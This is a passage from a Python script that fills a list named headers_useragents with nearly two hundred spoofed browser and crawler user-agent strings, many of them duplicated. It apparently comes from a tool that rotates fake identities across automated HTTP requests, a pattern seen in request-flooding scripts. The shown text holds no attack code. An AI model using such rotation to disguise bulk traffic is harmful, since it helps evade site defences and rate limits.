  440.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  441.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  442.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  443.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  444.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  445.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  446.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  447.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  448.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  449.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  450.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  451.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  452.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  453.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  454.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  455.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  456.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  457.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  458.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  459.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  460.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  461.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  462.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  463.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  464.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  465.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  466.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  467.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  468.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  469.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  470.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  471.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  472.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  473.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  474.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  475.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  476.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  477.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  478.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  479.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  480.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  481.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  482.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  483.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  484.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  485.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  486.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  487.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  488.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  489.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  490.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  491.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  492.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  493.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  494.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  495.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  496.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  497.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  498.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  499.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  500.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  501.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  502.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  503.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  504.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  505.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  506.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  507.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  508.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  509.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  510.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  511.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  512.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  513.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  514.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  515.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  516.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  517.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  518.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  519.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  520.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  521.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  522.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  523.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  524.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  525.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  526.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  527.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  528.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  529.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  530.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  531.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  532.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  533.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  534.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  535.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  536.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  537.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  538.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  539.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  540.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  541.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  542.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  543.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  544.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  545.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  546.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  547.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  548.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  549.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  550.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  551.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  552.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  553.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  554.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  555.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  556.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  557.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  558.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  559.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  560.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  561.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  562.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  563.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  564.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  565.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  566.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  567.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  568.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  569.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  570.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  571.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  572.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  573.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  574.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  575.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  576.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  577.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  578.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  579.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  580.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  581.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  582.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  583.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  584.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  585.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  586.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  587.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  588.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  589.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  590.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  591.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  592.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  593.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  594.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  595.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  596.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  597.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  598.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  599.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  600.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  601.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  602.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  603.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  604.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  605.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  606.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  607.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  608.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  609.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  610.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  611.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  612.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  613.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  614.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  615.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  616.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  617.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  618.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  619.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  620.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  621.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  622.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  623.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  624.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  625.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  626.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  627.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  628.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  629.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
